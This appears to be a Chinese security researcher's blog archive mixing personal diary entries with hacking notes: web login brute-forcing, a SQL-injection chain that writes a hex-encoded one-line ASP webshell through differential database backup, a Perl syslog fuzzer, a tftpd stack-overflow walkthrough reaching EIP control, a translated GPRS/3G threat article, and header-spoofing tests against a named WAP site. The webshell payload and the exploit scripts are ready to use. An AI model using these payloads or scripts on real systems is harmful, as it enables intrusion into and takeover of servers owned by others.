
修复了原有的一些BUG,加入脚本导入功能,也更兼容标准了(与NESSUS、X-SCAN书写方式兼容)。
带源代码,下载地址在:
无法否认,若技术不能放在社会生产当中的话,多么高的技术都是白费的,,,,,因此只有技术与市场挂钩才是王道。。。。
但现在的技术领域非常的浮躁、浮夸(不能排除我自己也在其中。。。),但其实我希望的不是这样,昨天与朋友们出来聊天时才发现了这点:我本来是希望朋友能大家真诚的对话,能集思广益达至讨论出一个方向的,但结果变成了“攀比”,回家后落笔写文档时却发现比未去聚会时思绪更乱,很明显,集思广益无法达到预期的效果同时更增添了一份惆怅。
后来总结了一下原因,除由于自己无法控制情绪外还需要保持一份对原始技术的探索思路--谦虚与“求同存异”的精神。是否因为时间的关系使我慢慢淡忘了这种“乞丐不停地向人乞讨”的‘低下精神’了呢?另外如果我更具备一种可以讨人喜欢的性格,那该多好呢?--世界会更加和谐。。。。。。OVER,上班去喏:)
中午匆匆找了个快餐店,吃了个手撕鸡饭,很难吃,居然还要30块。。。套餐,纳闷。。。
下午见到一台1.5G的家伙--趋势的垃圾邮件过滤系统:
x86,看看型号:
测试者告诉我一个字,至于是什么字,聪明的你一定想得到,,,,,我什么也没说过:P
WEB暴力破解--我用wvs fuzzer
Writer: demonalex[at]dark2s[dot]org
讲到WEB暴力破解通过大家都会用小榕的溯雪,但并不是所有WEB破解溯雪都是应付自如的(不要说我说小榕他老人家的坏话),最近因为工作的关系,碰到一个网管型设备的WEBPORTAL需要做WEB破解,看看HTML的源码:
…
<script language=javascript>
function login_send()
{
var f, p, page, url, option;
f = document.form_login.forced_in.value;
u = document.form_login.username.value;
p = document.form_login.passwd.value;
pg = document.form_login.page.value;
url = "atm_login?username="+u+"&passwd="+p+"&forced_in="+f+"&page="+pg;
option = "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,favorites=no,resizable=no,left=230,width=520,top=120,height=300";
window.open(url, '_blank', option);
}
</script>
…
<form name='form_login' action='__Javascript:login_send();'>
<input type='hidden' name='forced_in' value='false'><input type='hidden' name=page value=''><input type='hidden' name='redirect_portal_ip' value=''>
<tr height=25%><td colspan='2'><img src='images/login-men.gif' width='177' height='22'></td>
<td width='27%' rowspan='4'><img src='images/l-hand.gif' width='148' height='141'></td></tr>
<tr height=25%><td width='28%' class='inputlabel'>Username:</td>
<td width='45%'><input name='username' type='text' value='' style='width:120px' class='inputbox'></td></tr>
<tr height=25%><td class='inputlabel'>Password:</td>
<td><input type='password' name='passwd' value='' style='width:120px' class='inputbox'></td></tr>
<tr height=25%><td> </td>
<td><input type=image src=images/login-go.gif width='71' height='22'></td></tr>
</from>
…
这里form的action是交给一个本地的javascript自定义函数-- login_send来完成的,用溯雪的话:
看来是因为调用了javascript的关系吧…
首先找到一个可以进行";"加一句SQL语句的SQL注入点,然后通过写入一句话马马并利用backup语句生成*.ASP(一句话的服务端),OK,LOG之。例子:
+++++++++++++++++++++++++++++++++++++++++++++++
差异备份的主要代码:
;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--
;Drop table [heige];create table [dbo] dot [heige] ([cmd] [image])--
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--
;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--
这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:\web\1.asp的十六进制,也就是你要备份的webshell路径。
+++++++++++++++++++++++++++++++++++++++++++++++
#!/usr/bin/perl
#syslog Fuzzer v0.1
#jaime.blasco@aitsec.com
#www.aitsec.com
use IO::Socket::INET;
use Getopt::Std;
use POSIX qw(strftime);
getopt('hp', \ my %opts );
$SIG{INT}=\&exitz;
print "
\t Syslog Fuzzer v0.1 by Jaime Blasco (c) 2008
\t www.aitsec.com
";
if(!defined($opts{h}) or !defined($opts{p})){
print "
-h : Host\n
-p : Port
Number
";
exit
}
$port = $opts{p};
$host = $opts{h};
@bfo = ('A'x10, 'A'x20, 'A'x40, 'A'x80, 'A'x160,
'A'x320, 'A'x640, 'A'x1280, 'A'x3000, 'A'x5000,
'A'x8000, 'A'x12000, 'A'x15000);
@fse = ("%s%p%x%d", ".1024d", "%.2049d", "%p%p%p%p", "%x%x%x%x",
"%d%d%d%d", "%s%s%s%s", "%99999999999s",
"%08x", "%%20d", "%%20n",
"%%20x", "%%20s", "%s%s%s%s%s%s%s%s%s%s",
"%p%p%p%p%p%p%p%p%p%p",
"%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%",
"%s"x150, "%x"x300);
@int = ("-1", "0", "0x100", "0x1000", "0x3fffffff", "0x7ffffffe",
"0x7fffffff", "0x80000000", "0xfffffffe", "0xffffffff", "0x10000",
"0x100000");
print "Using host: ".$host."\n";
print "Using port: ".$port."\n";
$con=new IO::Socket::INET->new(PeerPort=>$port,
Proto=>'udp',
PeerAddr=>$host);
#http://www.ietf.org/rfc/rfc3164.txt
#udp SYSLOG PACKET looks like:
#<Priority>Header Message text
# Header = Date Hostname PID
$npriority = '<0>';
$ndate = strftime "%b%e %H:%M:%S", localtime;
$nhostname = "10.0.0.2";
$npid = 'fuzzer[10]';
$nmsg = "Syslog Fuzzer v0.1 by Jaime Blasco (c) 2008";
#fuzzing PRI
#Buffer Overflow
foreach (@bfo) {
$header = $ndate.' '.$nhostname.'
'.$npid;
$packet = '<'.$_.'>'.$header.':
'.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Format Strings
foreach (@fse) {
$header = $ndate.' '.$nhostname.'
'.$npid;
$packet = '<'.$_.'>'.$header.':
'.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Integer Overflows
foreach (@int) {
$header = $ndate.' '.$nhostname.'
'.$npid;
$packet = '<'.$_.'>'.$header.':
'.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#fuzzing header
#fuzzing Date
#Buffer Overflow
foreach (@bfo) {
$header = $_.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Format Strings
foreach (@fse) {
$header = $_.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Integer Overflows
foreach (@int) {
$header = $_.' '.$nhostname.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#fuzzing hostname
#Buffer Overflow
foreach (@bfo) {
$header = $ndate.' '.$_.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Format Strings
foreach (@fse) {
$header = $ndate.' '.$_.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Integer Overflows
foreach (@int) {
$header = $ndate.' '.$_.' '.$npid;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#fuzzing PID
#Buffer Overflow
foreach (@bfo) {
$header = $ndate.' '.$nhostname.' '.$_;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Format Strings
foreach (@fse) {
$header = $ndate.' '.$nhostname.' '.$_;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#Integer Overflows
foreach (@int) {
$header = $ndate.' '.$nhostname.' '.$_;
$packet = $npriority.$header.': '.$nmsg;
$con->send($packet);
#print $packet;
}
sleep 1;
#fuzzing msg
#Buffer Overflow
foreach (@bfo) {
$header = $ndate.' '.$nhostname.'
'.$npid;
$packet = $npriority.$header.': '.$_;
$con->send($packet);
#print $packet;
}
sleep 1;
#Format Strings
foreach (@fse) {
$header = $ndate.' '.$nhostname.'
'.$npid;
$packet = $npriority.$header.': '.$_;
$con->send($packet);
#print $packet;
}
sleep 1;
#Integer Overflows
foreach (@int) {
$header = $ndate.' '.$nhostname.'
'.$npid;
$packet = $npriority.$header.': '.$_;
$con->send($packet);
#print $packet;
}
与朋友去给某些人洗脑时,朋友问起磁力,我觉得我只是描述磁力能力的“事实之全部”,朋友听完后却本着‘磁力实在是太有才了’的眼神看着我,是我的忽悠水平提高了呢?还是磁力已经到化境了(磁力看到这句一定几天都睡不着)。。。。无从得知,哈哈:D
几天前有幸面见行内一位极具权威的大牛,和他谈到了发展方向时我说出了我的理想,他告诉我,我的理想至少在5年内是无法实现的,我说,我可以等,就像盲人摸象(不过是个不同的版本),一个盲人只要不停地摸,终有一天可以摸到整只大象的外貌的。。。I believe
他还说,理想是会不断地变化的,这个我不否认,但我能说,从5年前到现在,我的理想都没有变过,我还相信,坚持就是胜利:)
Debug in ftpdwin0.4.2
writer: demonalex[at]dark2s[dot]org
I remember had seem some information about overflow ftpdwin(verion
0.4.2),perhaps memory ability was decline,so I wonder
to find which idea can tell me how to overflow that baby...Let's
show my tools:IDA,,,OLLYDB,,,WINDB,,,AND SO ON...
1)First,open IDA to create *.MAP and export.Take OllyDb attach
tftpd.exe,import MAP File to OllyDb, F9 for running...
2)Now we must find length of useless buffer,how??? Write one fuzz
script of perl named fuzzer.pl,content:
*********************************************************
#!/bin/perl -w
use Net::TFTP;
$|=1;
if(!defined($target_ip=shift)){
die("usage: $0 target_ip\n");
}
##################################
#expcode:
$buffer="\x41"x500; #length of useless
buffer
$expcode="$buffer";
##################################
$tftp = Net::TFTP->new("$target_ip", BlockSize => 1024);
$tftp->octet;
$tftp->get("$expcode");
exit 1;
*********************************************************
500 Bytes?Mistaken...EIP is not "\x41"x4...How about 400 Bytes?Of
course is not 400,too.But let us see the content
of stack:
00F5F174 00000000
00F5F178 00406437 返回到 tftpd.00406437 来自
<jmp.&msvcrt.strcpy>
00F5F17C 00F5F19C
00F5F180 41414141
00F5F184 00000080
00F5F188 00240000
00F5F18C 00000001
Ctrl+G calls goto site to 00406437 and F2 give it a breakpoint in
OllyDB.
3)Open WINDB to Attach tftpd.exe,brute force about eip equal to
0x41414141,the length is 288(includes RET).
4)Change expcode in fuzzer.pl:
##################################
#expcode:
$buffer="\x41"x284; #length of useless
buffer
$ret="\x44\x43\x42\x41";
$expcode="$buffer"."$ret";
##################################
5)In result,Ctrl+F2 into OllyDB for run tftpd.exe again,then play
our new fuzzer.pl,stop it at our breakpoint(00406437)
,see:
00406437 |. 8D85 D8FDFFFF lea
eax,
[ebp-228]
; ||
0040643D |.
890424
mov [esp],
eax
; ||
00406440 |. E8 DB650100
call
<jmp.&msvcrt.strlen>
; |\strlen
00406445 |. 83F8 03
cmp eax,
3
; |
00406448 |. 76
16
jbe short
00406460
; |
0040644A |. C74424 04
5D6>mov dword ptr [esp+4],
0042655D ; |
00406452 |. 8D85 D8FDFFFF lea
eax,
[ebp-228]
; |
00406458 |.
890424
mov [esp],
eax
; |
0040645B |. E8 70650100
call
<jmp.&msvcrt.strcat>
; \strcat
00406460 |> 8D85 E8FEFFFF
lea eax,
[ebp-118]
; |
00406466 |. 894424 04
mov [esp+4],
eax
; |
0040646A |. 8D85 D8FDFFFF lea
eax,
[ebp-228]
; |
00406470 |.
890424
mov [esp],
eax
; |
00406473 |. E8 58650100
call
<jmp.&msvcrt.strcat>
; \strcat
00406478 |> 8B45
10 mov
eax,
[ebp+10]
; |
0040647B |. 05 04010000
add eax,
104
; |
00406480 |. 894424 0C
mov [esp+C],
eax
; |
00406484 |. 8B45 10
mov eax,
[ebp+10]
; |
00406487 |. 894424 08
mov [esp+8],
eax
; |
0040648B |. C74424 04
040>mov dword ptr [esp+4],
104 ;
|
00406493 |. 8D85 D8FDFFFF lea
eax,
[ebp-228]
; |
00406499 |.
890424
mov [esp],
eax
; |
0040649C |. E8 7F6C0100
call <jmp.&KERNEL32.GetFullPathNameA> ;
\GetFullPathNameA
004064A1 |. 83EC 10
sub esp, 10
004064A4 |.
85C0
test eax, eax
004064A6 |. 75
0C
jnz short 004064B4
004064A8 |. C785
D4FDFFFF>mov dword ptr [ebp-22C], 0
004064B2 |. EB
0A
jmp short 004064BE
004064B4 |> C785
D4FDFFFF>mov dword ptr [ebp-22C], 1
004064BE |> 8B85 D4FDFFFF
mov eax, [ebp-22C]
004064C4 |.
C9
leave
004064C5 \.
C3
retn
Press F8 from 00406437 to 004064C5,when come down at 004064C5,you
stop to find content of stack:
00F5F3C8 41424344
00F5F3CC 00428B00 tftpd.00428B00
hey hey ,u did it~
一直以来我思考的模式都是封闭两天思考,如果没有效果就放弃,选择其它思路。。。因为一旦超过两天,除要承受大了心理压力外,也会存在其它负担,感觉想碰到“不可能完成的任务”一样,而且自尊心与冲劲都会跌到了谷底,,,所以换种思考模式有时也未尝是件坏事。其实我个人觉得两天已经是个极限了,因为如果你这两天都想不到的话,估计最近都想不到,,,还是先找到了其它成功的办法(增加自信)再去考虑:)
新的思考模式可能会找其它已经成功的同类型案例,,,或是直接放弃该案例而采用其它有异曲同工之妙的方式(能达到客户认可的方式)。
不知道我的思考方式是不是有问题呢?:P
www.i170.com/Attach/78BFC496-3972-4D7B-B29B-EC4F77F64375
***************************************************************
[翻译文]GPRS与3G安全
原著:Andy David
原文:http://www.gprssecurity.com/
译文:demonalex(demonalex[at]dark2s[dot]org)
v 什么是GPRS与3G?
通用分组无线系统(General Radio Packet System,GPRS)是由互联网接入提供商提供的一个较为便利的基础网络设施。3G通常被称为“多用途移动手机服务”(Universal Mobile Telephony Service,UMTS),传输速率通常达384kbps或更高。GPRS与3G架构的主要不同点是处理无线通讯的技术上,在3G架构中为无线通讯设备提供了更高的带宽,然而它们使用的硬件设备都是相同的。
下图为构成GPRS架构的基本架构:
下面说说上图的各组件:
移动设备(Mobile
Device)
可以是支持GPRS的PDA、PC或笔记本。
基站系统(Base Station
System)
基站系统由基站控制器(Base Station Controller,BSC)与传输基站(Base Transceiver Station ,BTS)组成,其中BTS是进行无线数据的发送与接收的基本设备。
家庭位置注册接口与来访位置注册接口(Home
Location Register and Visitor Location
Register)
简称HLR/VLR,是由ISP维护的用户记录数据库。HLR数据库中包含附加的服务信息、认证证明、APN(Access Point Name)与ISP预约信息。在GPRS中,ISP的预约信息用于HLR与SGSN之间的交互。而VLR则用于为漫游用户提供临时的记录数据库(内容与HLR相同)。
GPRS服务节点(Serving GPRS
Support Node,SGSN)
SGSN用于在其工作区域内转发移动设备的数据,并进行相关的数据路由与传输。它服务的GPRS用户(预约者)皆在某个地理区域内,它提供的服务包括:加密、认证、会话管理与流动性管理(漫游)等功能。
GPRS网关节点(GGSN Gateway GPRS
Support Node,GGSN)
GGSN用于中转GPRS核心网与用户企业网(或Internet)通信的数据。它也负责会话管理、协调预约者(用户)与SGCN协商、计费信息管理等功能。
企业端前置设备(Customer Premises Equipment,CPE)路由
一种安装在企业用户前端、允许企业用户通过IP(及以上协议栈)直接与GPRS网通信的路由型设备。ISP可以利用GRE (Generic Routing Encapsulation)隧道使GPRS网与客户的企业网进行通信。
访问点名称(Access Point
Node/Name,APN)
APN是为GPRS建立连接时提供的FQDN域名,如conroporate1.operator.com(*备注:中国移动GPRS网的APN就是CMWAP与CMNET)。APN主要是为连接相应CPE路由时标识应该连接GGSN。
认证服务器(The Radius
Server)
Radius服务器用于为接入指定APN的移动设备分配IP地址等网络信息。当用户通过GPRS接入特定APN时IP地址将要被接入方机构预先设定的地址池进行分配,致使移动设备可以通过网络中的其它设备进行通信。
v 哪里存在安全问题?
来自移动终端方面的风险
网络基础设施枚举—常见的工具如ping、traceroute等可以发现一些本来不应该被发现的GPRS网络基础设施,例如GRE隧道节点等。且在此范围内的一些未经专门配置的、提供SNMP服务的设备可能会泄露其相关配置导致被攻击者利用。
试图通过移动终端发送GTP通信数据
GTP协议是用于在GPRS核心网络内控制GPRS连接的协议,全称GPRS Transport Protocol。若GTP信息可以随意被移动终端发送的话,则随意控制其它用户(预约者)的连接将变得非常方便。大量GPRS核心的设备存在着过时的风险,如“当GGSN接收到来自移动终端发送的畸形GTP包时,GGSN将曲解这些包的内容从而引起拒绝服务攻击”。然而,这些风险都不太像目前发生在MODEM设备中出现的个案。
预约者互通风险
若ISP商没有解决基于网络层面中预约者(GPRS用户)间通信,则可能可以通过这条链路穿越基础设施甚至绕过某些应用计费业务。因此,用户可以利用这点使用VOIP等业务而不需要扣除该应用的相关费用。(*备注:其实这个风险是利用某GPRS用户搭建双链路实现VOIP业务)
来自GPRS核心的风险
路由至未经批准的APN
GTP协议在不加密与不需要认证的情况下,将存在非常严重的安全风险。当移动终端使用者通过接入至某企业的接入点(*备注:不需要加密与认证的APN)从而通过GPRS核心网访问其它客户网络。
通过无线接口路由至其他用户
与上一个例子一样,若滥用GTP协议将导致路由至其他移动终端的风险。
使用者配置GPRS连接
正常情况下,GTP协议状态是由网络进行初始化的。若在GPRS核心网中激活了“使用者配置GPRS连接”功能的情况下,若被攻击者利用将导致被攻击者大量扣费。
拆解已经建立的连接
接入GPRS核心网的攻击者可以瞄准某些移动终端及选择性的拆除他们已经建立的连接。
来自企业GPRS网络与Internet的风险
利用非授权访问点进入CPE路由
如果ISP接受企业GPRS网络存在不严谨的配置—存在未经授权的访问点时,该访问点将可能被利用,获取到详细的核心基础网络信息,如GRE隧道信息。
潜在的拒绝服务攻击
通过GRE隧道中的IP地址(参考RFC1918)与企业网的地址冲突,导致持续的网络中断。
高付费攻击
攻击者可以通过在(与GPRS核心网连接的)企业网或Internet中搭建一个恶意的服务器,并获取GPRS网动态分配的IP地址,然后设置该服务器不断地发送ICMP(PING)数据包给GPRS网内各类接收ICMP的节点,然后立刻下线。虽然恶意服务器已经下线了,但ICMP的请求/应答过程还在进行,此时当有其它移动客户端进入GPRS网络并获取到与刚刚下线的恶意服务器相同IP的时间,就会接收到刚刚恶意服务器发送的ICMP请求对应的ICMP应答。当恶意服务器发送大量的ICMP数据包给某个IP地址时,将导致无意的用户被大量地扣除网络传输费用。
通过访问点对街道集线箱系统进行访问
BTS基站(GPRS系统基础设施)与B节点(3G系统基础设施)常常放置在街道的集线箱中,通过金属盒包装着放置在街道的两侧或空旷的地方。目前集线箱系统与GPRS核心网通信的技术是依靠有线链路或无线微波构成的。排除产品的维护商外,集线箱装载的系统几乎所有的物理接口都可能被别有用心的人恶意利用。当然,大多数这样的非授权进行使用的行为我们都可以通过报警系统得知,并通过基于软件上的配置对这方面的访问进行屏蔽,使其不能直接接入核心网。
通过管理访问点对核心网进行访问
诸如SGSN、GGSN等设备可以被运营商通过核心网进行访问。这个级别的访问可以被某些个别个体利用,对网络与数据传输造成严重的破坏。然而,ISP通过会对这类型的访问进行有效的隔离,限制只有某些指定的设备才可以进行这方面的访问。此外,运营商还会通过使双因子认证方式严格限制可访问的使用者。
v 我们可以做些什么?
机密性
若企业用户担心其敏感数据由于穿越GPRS网络而造成泄露的情况,可以考虑通过IPSec进行VPN点对点传输保护。就算在ISP中存在恶意的攻击者对数据流进行路由重置并捕捉时亦无法解开明文,从而保障数据机密性。VPN解决方案能经得起严格的测试,但前提条件是必须保障无线信号的强度。
运营商保障网络中的各类设备与接口能被他们的用户访问与控制同时并为用户提供强机密性的程度是很有限的。
完整性
运营商将确保在核心网内GTP Version 1逐步推行,并慢慢淘汰GTP Version 0。这将导致恶意攻击者无法在网络核心通过流量鉴别与增加其操作难度。此外,已经获得授权通过“全球漫游交互网”的漫游用户也可以直接在异地接入GPRS核心网,因此他们亦有能力绕过GTP感知型防火墙而进行基于GTP的攻击。
若有一条网络ACL策略确定预约者间没有任何过滤的话,那么ISP将无法保障类似高付费攻击类的安全问题。
可用性
企业用户必须确保RFC1918中IP地址冲突不会因为ISP提供的GPRS网络服务导致危害到自己的网络。
最后,运营商应当定期更新/维护GPRS核心网内设备,因为风险不会仅仅只会出现在类似SGSN、GGSN这样的GPRS设备中,而同样会因为不严谨的配置或安全漏洞而出现常见的操作系统中(如Microsoft的Windows或Sun的Solaris)。
关于WAP的测试找到了另一个切入点,谢谢磁力与啊BAN配合我完成很多测试,我下面方向是针对底层的GPRS考虑,,,,,下次聚会说说,CMWAP的测试暂时停止:)
和磁力在公司做了个实验:
他与我同联入CMWAP,然后我开HTTPD,他浏览,确认是成功的。
他的IP:
10.214.217.228
我的IP:
10.215.129.15
我与他的WAP GW同为211.139.151.74。磁力的浏览的手机得到的HTTP头:
GET / HTTP/1.1
Host: 10.215.129.15
Accept: */*, text/x-vcard, text/x-vcalendar, image/gif,
image/vnd.wap.wbmp
Accept-Language: zh-cn
UA-OS: Windows CE (Pocket PC) - Version 5.2
UA-color: color24
UA-Voice: TRUE
UA-pixels: 320x240
UA-CPU: ARM
Accept-Encoding: gzip,deflate
If-Modified-Since: Mon, 03 Mar 2008 02:51:56 GMT
Content-length: 0
Via: WTP/1.1 GDSZ-PS-GW015-WAP05.gd.chinamobile.com (Nokia WAP
Gateway 4.0/CD3/4.1.79)
X-Forwarded-For: 10.214.217.228
X-Source-ID: GGSNGZ05
X-Nokia-CONNECTION_MODE: TCP
X-Up-Bearer-Type: GPRS
X-Nokia-gateway-id: NWG/4.1/Build04
Connection: keep-alive
磁力在我家,我们都上CMWAP,
我的IP:10.218.88.51
磁力的IP:10.218.196.131
我们的网关都是:218.204.243.42
通过NMAP探测网关得到的信息:
Host 218.204.243.42 appears to be up ... good.
All 1709 scanned ports on 218.204.243.42 are filtered
Device type: general purpose|firewall|WAP
Running: IBM OS/390 V2, IBM OS/400 V4|V5, IBM z/OS
1.4.X|1.6.X|1.8.X, IBM z/VM, Netgear embedded, TRENDnet
embedded
通过上述实验可以证明,在同一个物理区域(区域的具体大小还不好说...)GPRS接入且APN相同(都是CMWAP)的情况下,大家使用的WAP
GW都是相同的。
另外,两个接点间的ICMP是被过滤的,但传输层及以上的的应用是可以通信的。
1)测试ARP。
首先测试是BAN的灵感,在CMWAP下进行ARP测试,但通过GPRS进CMWAP是PPP协议,与ARP在不同的协议栈,因此ARP在GPRS连入CMWAP上是不起作用的。
2)测试WAP GW的缺陷。
连入后通过安全探测工具对WAP GW进行探测,只发现TCP80与TCP8080(HTTP PROXY)与WAP GW协议(UDP9200与UDP9201),目前发现不了存在任何缺陷。当前我连接后的广州CMWAP GW IP是218.204.243.42。
3)测试是否能通过在CMWAP外对SP的网站进行伪造WAP网关头的测试:
锁定的测试目标是:http://3g.sina.com.cn/prog/wapsite/weather_new/index.php?pos=1&vt=1
首先做个文档wap.txt(这个样本是BAN提供的,谢谢他):
GET /prog/wapsite/weather_new/index.php?pos=1&vt=1
HTTP/1.1
Host: 3g.sina.com.cn
Accept: */*, text/x-vcard, text/x-vcalendar, image/gif,
image/vnd.wap.wbmp
Accept-Language: zh-cn
UA-OS: Windows CE (Pocket PC) - Version 5.2
UA-color: color16
UA-pixels: 240x320
UA-Voice: TRUE
UA-CPU: ARM
Accept-Encoding: gzip,deflate
Content-length: 0
Via: WTP/1.1 GDSZ-PS-GW016-WAP05.gd.chinamobile.com (Nokia WAP
Gateway 4.0/CD3/4.1.79)
X-Forwarded-For: 10.214.11.83
X-Source-ID: GGSNGZ05
X-Nokia-CONNECTION_MODE: TCP
X-Up-Bearer-Type: GPRS
X-Nokia-gateway-id: NWG/4.1/Build04
Connection: keep-alive
注意:文档的最后要加两个回车,等同于HTTP通信会话中的"\r\n\r\n"。然后写个PERL脚本fuzzer.pl,内容:
#!/bin/perl -w
$|=1;
open(WAP,"<wap.txt");
@host=<WAP>;
close(WAP);
chomp(@host);
$target=$host[1];
$target=~s/Host: //;
system("nc.exe $target 80".'<wap.txt>result.wml');
system("notepad.exe result.wml");
exit 1;
运行后会自动打开result.wml,发现:
*********************************************
HTTP/1.1 302 Found
Date: Sun, 02 Mar 2008 09:45:01 GMT
Server: Apache/1.3.37 (Unix) PHP/4.4.4
Location:
http://3g.sina.com.cn/3g/pro/index.php?tid=254&did=817&vid=84&pos=Err403
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
14a
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A
HREF="http://3g.sina.com.cn/3g/pro/index.php?tid=254&did=817&vid=84&pos=Err403">here</A>.<P>
<HR>
<ADDRESS>Apache/1.3.37 Server at 127.0.0.1 Port
80</ADDRESS>
</BODY></HTML>
0
*********************************************
看看http://3g.sina.com.cn/3g/pro/index.php?tid=254&did=817&vid=84&pos=Err403,嘿嘿,用OPERA看看,还是识别为‘你不是通过手机上网’,看来与头无关,估计是SP中加入了CMWAP GW的IP地址列表...估计是...
Powered by Haiwit